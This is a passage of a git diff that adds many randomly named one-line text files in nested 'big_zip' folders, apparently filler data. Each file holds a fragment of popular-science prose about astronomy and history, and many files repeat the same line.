+improbable. Or it may be that complex life forms evolve readily, but intelligence and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/isttmmwlpxdobsqajiihoq.txt b/big_zip/big-zip-files/folder_wgdcdmekky/isttmmwlpxdobsqajiihoq.txt
new file mode 100644
index 0000000..527f14b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/isttmmwlpxdobsqajiihoq.txt
@@ -0,0 +1 @@
+moving them, from our point of view, to a lower pitch and producing the characteristic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/jgramdeqwkdbl.txt b/big_zip/big-zip-files/folder_wgdcdmekky/jgramdeqwkdbl.txt
new file mode 100644
index 0000000..fd0efdc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/jgramdeqwkdbl.txt
@@ -0,0 +1 @@
+stars are campfires that other hunterfolk light at night. The stars give a smaller light than
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/ktszoopeqtkaip.txt b/big_zip/big-zip-files/folder_wgdcdmekky/ktszoopeqtkaip.txt
new file mode 100644
index 0000000..7093949
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/ktszoopeqtkaip.txt
@@ -0,0 +1 @@
+who provided the final demonstration that the spiral nebulae were in fact ‘island universes,’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/lcwwpzeoqmbyxv.txt b/big_zip/big-zip-files/folder_wgdcdmekky/lcwwpzeoqmbyxv.txt
new file mode 100644
index 0000000..41d296a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/lcwwpzeoqmbyxv.txt
@@ -0,0 +1 @@
+different information.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/mqhdjafzouufstcnaoylab.txt b/big_zip/big-zip-files/folder_wgdcdmekky/mqhdjafzouufstcnaoylab.txt
new file mode 100644
index 0000000..c5f0fd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/mqhdjafzouufstcnaoylab.txt
@@ -0,0 +1 @@
+incrementally heat the surface further. A hotter surface would vaporize still more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/pbakwwiboddz.txt b/big_zip/big-zip-files/folder_wgdcdmekky/pbakwwiboddz.txt
new file mode 100644
index 0000000..e87e649
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/pbakwwiboddz.txt
@@ -0,0 +1 @@
+waves coming quite uniformly from all directions in the Cosmos at just the intensity
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/qiorcrvmewtxdhbbl.txt b/big_zip/big-zip-files/folder_wgdcdmekky/qiorcrvmewtxdhbbl.txt
new file mode 100644
index 0000000..62f54ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/qiorcrvmewtxdhbbl.txt
@@ -0,0 +1 @@
+of England, completed a project to map the starry skies and found apparently equal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/qpchekrjuzlwwuaafermwoa.txt b/big_zip/big-zip-files/folder_wgdcdmekky/qpchekrjuzlwwuaafermwoa.txt
new file mode 100644
index 0000000..e3fe4a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/qpchekrjuzlwwuaafermwoa.txt
@@ -0,0 +1 @@
+back to those left behind any faster than the speed of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/rithrlwrotsjsphqcsyeqn.txt b/big_zip/big-zip-files/folder_wgdcdmekky/rithrlwrotsjsphqcsyeqn.txt
new file mode 100644
index 0000000..2ccc7b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/rithrlwrotsjsphqcsyeqn.txt
@@ -0,0 +1 @@
+the encounter be largely peaceable, even if lacking a certain rapport, like that of the French
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/sstcvmwdcpuududczkhxojr.txt b/big_zip/big-zip-files/folder_wgdcdmekky/sstcvmwdcpuududczkhxojr.txt
new file mode 100644
index 0000000..24acd88
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/sstcvmwdcpuududczkhxojr.txt
@@ -0,0 +1 @@
+Those explorations required skepticism and imagination both. Imagination will
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/szoutaorxhckvp.txt b/big_zip/big-zip-files/folder_wgdcdmekky/szoutaorxhckvp.txt
new file mode 100644
index 0000000..16f2bf1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/szoutaorxhckvp.txt
@@ -0,0 +1 @@
+Russian pioneer of astronautics Konstantin Tsiolkovsky were discouraged - because, as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/tiorcdzqfgwdrtiqlymwupjq.txt b/big_zip/big-zip-files/folder_wgdcdmekky/tiorcdzqfgwdrtiqlymwupjq.txt
new file mode 100644
index 0000000..1b4b508
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/tiorcdzqfgwdrtiqlymwupjq.txt
@@ -0,0 +1 @@
+butterflies who flutter for a day and think it is forever.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/uxvbpouerfdch.txt b/big_zip/big-zip-files/folder_wgdcdmekky/uxvbpouerfdch.txt
new file mode 100644
index 0000000..bd18876
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/uxvbpouerfdch.txt
@@ -0,0 +1 @@
+in the shortest time. Bernoulli originally specified a deadline of six months, but extended it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/wxtzvtpbhmpjrtsvkilyv.txt b/big_zip/big-zip-files/folder_wgdcdmekky/wxtzvtpbhmpjrtsvkilyv.txt
new file mode 100644
index 0000000..37c9df6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/wxtzvtpbhmpjrtsvkilyv.txt
@@ -0,0 +1 @@
+the sacred knowledge is to be kept within the cult, unsullied by public understanding.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/xlaprbgad.txt b/big_zip/big-zip-files/folder_wgdcdmekky/xlaprbgad.txt
new file mode 100644
index 0000000..9af172d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/xlaprbgad.txt
@@ -0,0 +1 @@
+fishermen near the scene of the battle. The Heike almost vanished from history. But aragtag group of the former ladies-in-waiting and their offspring by the fisher-folk
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/zwmlfewwdgbwjl.txt b/big_zip/big-zip-files/folder_wgdcdmekky/zwmlfewwdgbwjl.txt
new file mode 100644
index 0000000..3c41c10
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/zwmlfewwdgbwjl.txt
@@ -0,0 +1 @@
+Our ancestors built devices to measure the passing of the seasons. In Chaco Canyon,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_dyguacrmfeuasuozrw.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_dyguacrmfeuasuozrw.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_dyguacrmfeuasuozrw.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_gjmkzmwntjrdbjzqcpps.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_gjmkzmwntjrdbjzqcpps.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_gjmkzmwntjrdbjzqcpps.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_hahfrfracnyiro.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_hahfrfracnyiro.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_hahfrfracnyiro.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_jxgquircj.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_jxgquircj.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_jxgquircj.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_mkgfofqawkdqqzrx.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_mkgfofqawkdqqzrx.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_mkgfofqawkdqqzrx.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_scempxqfinonsumssrhzoj.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_scempxqfinonsumssrhzoj.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_scempxqfinonsumssrhzoj.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_siexyicwuklmigcuibkjc.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_siexyicwuklmigcuibkjc.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_siexyicwuklmigcuibkjc.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_womixjxmhxbswsvbiu.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_womixjxmhxbswsvbiu.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_womixjxmhxbswsvbiu.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_xshxvtvprpnsesrpmzfp.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_xshxvtvprpnsesrpmzfp.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_xshxvtvprpnsesrpmzfp.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_zazxkawndgxp.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_zazxkawndgxp.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_zazxkawndgxp.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/file_zrvnieohsv.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/file_zrvnieohsv.txt
new file mode 100644
index 0000000..a859d83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/file_zrvnieohsv.txt
@@ -0,0 +1 @@
+than existing fission power plants. We do not have fusion reactors yet, but they are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_dchynvodzotvbzxvrbimyhhm.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_dchynvodzotvbzxvrbimyhhm.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_dchynvodzotvbzxvrbimyhhm.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_gjfdbjyrotcqiq.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_gjfdbjyrotcqiq.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_gjfdbjyrotcqiq.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ilomzifodgdnojgaqikgyllw.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ilomzifodgdnojgaqikgyllw.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ilomzifodgdnojgaqikgyllw.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_jbrxieuunstjhrgkcnoexc.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_jbrxieuunstjhrgkcnoexc.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_jbrxieuunstjhrgkcnoexc.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ltnzobsrcuyokdantgyjig.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ltnzobsrcuyokdantgyjig.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ltnzobsrcuyokdantgyjig.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ltspomeqgwmtkvtwklhnghhm.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ltspomeqgwmtkvtwklhnghhm.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ltspomeqgwmtkvtwklhnghhm.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_nhuldnenh.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_nhuldnenh.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_nhuldnenh.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ocjgddito.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ocjgddito.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ocjgddito.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_qpjhzpwuwawol.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_qpjhzpwuwawol.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_qpjhzpwuwawol.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_rhzxskruihbkuncg.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_rhzxskruihbkuncg.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_rhzxskruihbkuncg.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_vvkwxadsarumffkbvwtrpc.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_vvkwxadsarumffkbvwtrpc.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_vvkwxadsarumffkbvwtrpc.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_wsbxqdrakxryesh.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_wsbxqdrakxryesh.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_wsbxqdrakxryesh.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_xakuigwpugnfzzzyjg.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_xakuigwpugnfzzzyjg.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_xakuigwpugnfzzzyjg.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_xssxmgxucfnyailicticiw.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_xssxmgxucfnyailicticiw.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_xssxmgxucfnyailicticiw.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ycokkffrnoxtlgkemlriq.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ycokkffrnoxtlgkemlriq.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ycokkffrnoxtlgkemlriq.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ykhgwyvinmlvkamaaramug.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ykhgwyvinmlvkamaaramug.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_ykhgwyvinmlvkamaaramug.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_yziezzstyepqlyd.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_yziezzstyepqlyd.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_yziezzstyepqlyd.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_zoulsussqtjyaylyk.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_zoulsussqtjyaylyk.txt
new file mode 100644
index 0000000..6513ddd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/file_zoulsussqtjyaylyk.txt
@@ -0,0 +1 @@
+restructuring of previous systems for new purposes is very much like the pattern of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_dnzdakogumna.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_dnzdakogumna.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_dnzdakogumna.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_dwsagaua.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_dwsagaua.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_dwsagaua.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_hilssrtozvegurgr.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_hilssrtozvegurgr.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_hilssrtozvegurgr.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_nmnmgsjdisgx.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_nmnmgsjdisgx.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_nmnmgsjdisgx.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_nuucluftzt.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_nuucluftzt.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_nuucluftzt.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ofwguiybdvggxivvgrzfgup.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ofwguiybdvggxivvgrzfgup.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ofwguiybdvggxivvgrzfgup.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_qbxqcxkblcfbny.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_qbxqcxkblcfbny.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_qbxqcxkblcfbny.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_shtvhllglyarkpksarxg.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_shtvhllglyarkpksarxg.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_shtvhllglyarkpksarxg.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_vvakgplwtucpnrz.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_vvakgplwtucpnrz.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_vvakgplwtucpnrz.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_wbpvvpoj.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_wbpvvpoj.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_wbpvvpoj.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ydbrdcpfbdunev.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ydbrdcpfbdunev.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ydbrdcpfbdunev.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ygfrsjzaik.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ygfrsjzaik.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_ygfrsjzaik.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_yhbneugrphanzzhvjjggmvy.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_yhbneugrphanzzhvjjggmvy.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_yhbneugrphanzzhvjjggmvy.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_zgdqzghyjwdzfilou.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_zgdqzghyjwdzfilou.txt
new file mode 100644
index 0000000..f5fd3fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/file_zgdqzghyjwdzfilou.txt
@@ -0,0 +1 @@
+that the stars were suns, only very far away. The Sun was a star, but close up.
\ No newline at end of file
